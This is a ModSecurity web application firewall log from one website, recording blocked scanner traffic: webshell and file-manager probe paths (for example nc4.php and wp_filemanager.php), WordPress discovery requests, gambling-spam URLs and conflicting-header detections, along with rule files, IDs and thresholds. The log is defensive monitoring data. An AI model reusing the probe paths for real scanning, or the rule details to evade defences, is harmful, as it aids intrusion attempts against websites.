[Wed Apr 01 10:05:36.238056 2026] [:error] [pid 23715:tid 23773] [client 20.205.1.146:3126] [client 20.205.1.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nc4.php"] [unique_id "acx9cK-REzOruNbiT9ycsQAAAEw"]
[Wed Apr 01 10:22:29.580687 2026] [:error] [pid 23716:tid 23798] [client 43.133.187.11:36698] [client 43.133.187.11] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acyBZXVtFUg_mx-RYb63-AAAAIo"]
[Wed Apr 01 12:51:54.107907 2026] [:error] [pid 23819:tid 23839] [client 20.116.48.67:64875] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acykatdfUS_37wFAM75O1wAAANE"]
[Wed Apr 01 12:51:55.726510 2026] [:error] [pid 23819:tid 23846] [client 20.116.48.67:64852] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acyka9dfUS_37wFAM75O4gAAANg"]
[Wed Apr 01 12:51:57.868681 2026] [:error] [pid 24348:tid 24386] [client 20.116.48.67:58471] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acykbW0Vs69Y5nF1HA9p6wAAAYc"]
[Wed Apr 01 12:51:59.485117 2026] [:error] [pid 36754:tid 36833] [client 20.116.48.67:64873] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acykb2pnvhnBglC7YoYUJgAAAxI"]
[Wed Apr 01 13:31:07.284587 2026] [:error] [pid 36687:tid 36733] [client 182.44.8.254:34115] [client 182.44.8.254] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "acytm5j-fr9k0iZRGvbtogAAAk8"]
[Wed Apr 01 13:55:01.035331 2026] [:error] [pid 8908:tid 8914] [client 54.38.38.130:59824] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "acyzNfkmxtJXGnLdvgCwjwAAAIE"]
[Wed Apr 01 13:55:03.362401 2026] [:error] [pid 8995:tid 9016] [client 54.38.38.130:38794] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "acyzN-onaBjs3qxcRecQIQAAABI"]
[Wed Apr 01 13:55:05.775873 2026] [:error] [pid 8995:tid 9019] [client 54.38.38.130:38802] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "acyzOeonaBjs3qxcRecQLAAAABU"]
[Wed Apr 01 13:55:08.196264 2026] [:error] [pid 8910:tid 8981] [client 54.38.38.130:45050] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "acyzPKJZINUcF3tYgEzb2AAAAQ0"]
[Wed Apr 01 13:55:10.658255 2026] [:error] [pid 8995:tid 9016] [client 54.38.38.130:45060] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "acyzPuonaBjs3qxcRecQPwAAABI"]
[Wed Apr 01 13:55:13.026427 2026] [:error] [pid 8909:tid 8943] [client 54.38.38.130:45072] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "acyzQTvP_a0662gDl6CsSwAAAMI"]
[Wed Apr 01 13:55:15.545417 2026] [:error] [pid 8908:tid 8936] [client 54.38.38.130:45076] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "acyzQ_kmxtJXGnLdvgCwvwAAAJc"]
[Wed Apr 01 13:56:46.231562 2026] [:error] [pid 8995:tid 9001] [client 54.38.38.130:35664] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "acyznuonaBjs3qxcRecSZQAAAAM"]
[Wed Apr 01 13:56:48.839833 2026] [:error] [pid 8995:tid 9021] [client 54.38.38.130:50330] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "acyzoOonaBjs3qxcRecSeQAAABc"]
[Wed Apr 01 13:56:51.394102 2026] [:error] [pid 8909:tid 8948] [client 54.38.38.130:50340] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "acyzozvP_a0662gDl6Cs1gAAAMc"]
[Wed Apr 01 13:56:53.769955 2026] [:error] [pid 8910:tid 8988] [client 54.38.38.130:50352] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "acyzpaJZINUcF3tYgEzcwQAAARQ"]
[Wed Apr 01 13:56:56.166517 2026] [:error] [pid 8909:tid 8959] [client 54.38.38.130:54394] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "acyzqDvP_a0662gDl6Cs2gAAANI"]
[Wed Apr 01 13:56:58.730949 2026] [:error] [pid 8909:tid 8942] [client 54.38.38.130:54416] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "acyzqjvP_a0662gDl6Cs4gAAAME"]
[Wed Apr 01 13:57:01.397657 2026] [:error] [pid 8910:tid 8971] [client 54.38.38.130:54454] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "acyzraJZINUcF3tYgEzc1gAAAQM"]
[Wed Apr 01 14:09:20.878993 2026] [:error] [pid 8995:tid 9014] [client 49.51.195.195:35404] [client 49.51.195.195] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "acy2kOonaBjs3qxcRecgdQAAABA"]
[Wed Apr 01 15:30:18.528076 2026] [:error] [pid 8995:tid 8998] [client 84.247.168.251:63203] [client 84.247.168.251] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 84.247.168.251, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aczJiuonaBjs3qxcRedNZgAAAAA"]
[Wed Apr 01 16:47:26.463476 2026] [:error] [pid 17856:tid 17875] [client 154.16.49.97:8713] [client 154.16.49.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.16.49.97, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aczbnj7Idlm5j9frhqST0AAAAFE"]
[Wed Apr 01 16:47:29.073920 2026] [:error] [pid 17856:tid 17873] [client 154.16.49.97:8713] [client 154.16.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aczboT7Idlm5j9frhqST4QAAAE8"]
[Wed Apr 01 16:47:32.036654 2026] [:error] [pid 8995:tid 9014] [client 154.16.49.97:10370] [client 154.16.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aczbpOonaBjs3qxcRed6YwAAABA"]
[Wed Apr 01 16:47:33.104463 2026] [:error] [pid 8995:tid 9022] [client 154.16.49.97:11143] [client 154.16.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aczbpeonaBjs3qxcRed6ZgAAABg"]
[Wed Apr 01 16:47:34.139541 2026] [:error] [pid 17856:tid 17878] [client 154.16.49.97:11688] [client 154.16.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aczbpj7Idlm5j9frhqST6QAAAFQ"]
[Wed Apr 01 17:00:54.284126 2026] [:error] [pid 8995:tid 9015] [client 46.59.208.240:60130] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aczexuonaBjs3qxcRed-MwAAABE"]
[Wed Apr 01 17:00:57.041957 2026] [:error] [pid 62559:tid 62582] [client 46.59.208.240:59366] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aczeyS7NKI8IaNKZFIdGOgAAAVU"]
[Wed Apr 01 17:00:59.643654 2026] [:error] [pid 62559:tid 62572] [client 46.59.208.240:62339] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aczeyy7NKI8IaNKZFIdGQAAAAUs"]
[Wed Apr 01 17:01:02.329248 2026] [:error] [pid 8909:tid 8956] [client 46.59.208.240:64906] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aczezjvP_a0662gDl6DzKAAAAM8"]
[Wed Apr 01 17:01:04.932108 2026] [:error] [pid 8908:tid 8926] [client 46.59.208.240:61041] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "acze0PkmxtJXGnLdvgAXbQAAAI0"]
[Wed Apr 01 17:01:07.484558 2026] [:error] [pid 8909:tid 8953] [client 46.59.208.240:59651] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "acze0zvP_a0662gDl6DzNAAAAMw"]
[Wed Apr 01 17:01:10.084473 2026] [:error] [pid 17856:tid 17861] [client 46.59.208.240:59732] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "acze1j7Idlm5j9frhqSZugAAAEM"]
[Wed Apr 01 17:01:13.526651 2026] [:error] [pid 17856:tid 17864] [client 46.59.208.240:64214] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "acze2T7Idlm5j9frhqSZvwAAAEY"]
[Wed Apr 01 17:01:16.295861 2026] [:error] [pid 62559:tid 62571] [client 46.59.208.240:60125] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "acze3C7NKI8IaNKZFIdGWAAAAUo"]
[Wed Apr 01 17:01:18.856672 2026] [:error] [pid 8909:tid 8956] [client 46.59.208.240:59137] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "acze3jvP_a0662gDl6DzWwAAAM8"]
[Wed Apr 01 17:01:21.534906 2026] [:error] [pid 8910:tid 8980] [client 46.59.208.240:63506] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "acze4aJZINUcF3tYgEwjRgAAAQw"]
[Wed Apr 01 17:01:24.243461 2026] [:error] [pid 8995:tid 9007] [client 46.59.208.240:60234] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "acze5OonaBjs3qxcRed-VAAAAAk"]
[Wed Apr 01 17:01:27.022929 2026] [:error] [pid 8995:tid 9022] [client 46.59.208.240:60642] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "acze5-onaBjs3qxcRed-WgAAABg"]
[Wed Apr 01 17:01:29.565050 2026] [:error] [pid 8908:tid 8925] [client 46.59.208.240:60360] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "acze6fkmxtJXGnLdvgAXjwAAAIw"]
[Wed Apr 01 17:01:32.204249 2026] [:error] [pid 8909:tid 8957] [client 46.59.208.240:62002] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "acze7DvP_a0662gDl6DzewAAANA"]
[Wed Apr 01 17:01:34.924441 2026] [:error] [pid 8908:tid 8923] [client 46.59.208.240:63754] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "acze7vkmxtJXGnLdvgAXmQAAAIo"]
[Wed Apr 01 17:01:37.519622 2026] [:error] [pid 17856:tid 17864] [client 46.59.208.240:63104] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "acze8T7Idlm5j9frhqSZ3wAAAEY"]
[Wed Apr 01 17:01:40.121646 2026] [:error] [pid 8910:tid 8992] [client 46.59.208.240:64344] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "acze9KJZINUcF3tYgEwjWAAAARg"]
[Wed Apr 01 17:01:42.819321 2026] [:error] [pid 8910:tid 8979] [client 46.59.208.240:65027] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "acze9qJZINUcF3tYgEwjWwAAAQs"]
[Wed Apr 01 17:01:45.570824 2026] [:error] [pid 8909:tid 8963] [client 46.59.208.240:63890] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "acze-TvP_a0662gDl6DzoAAAANY"]
[Wed Apr 01 17:01:48.168937 2026] [:error] [pid 17856:tid 17872] [client 46.59.208.240:60959] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "acze_D7Idlm5j9frhqSZ8gAAAE4"]
[Wed Apr 01 17:01:50.684276 2026] [:error] [pid 17856:tid 17864] [client 46.59.208.240:63083] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "acze_j7Idlm5j9frhqSZ-wAAAEY"]
[Wed Apr 01 17:02:12.504993 2026] [:error] [pid 62559:tid 62566] [client 46.59.208.240:64006] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aczfFC7NKI8IaNKZFIdGtQAAAUU"]
[Wed Apr 01 17:02:16.232911 2026] [:error] [pid 8910:tid 8971] [client 46.59.208.240:60257] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aczfGKJZINUcF3tYgEwjfgAAAQM"]
[Wed Apr 01 17:02:18.826942 2026] [:error] [pid 17856:tid 17873] [client 46.59.208.240:61012] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aczfGj7Idlm5j9frhqSaNwAAAE8"]
[Wed Apr 01 17:02:21.656076 2026] [:error] [pid 8908:tid 8930] [client 46.59.208.240:63538] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aczfHfkmxtJXGnLdvgAXygAAAJE"]
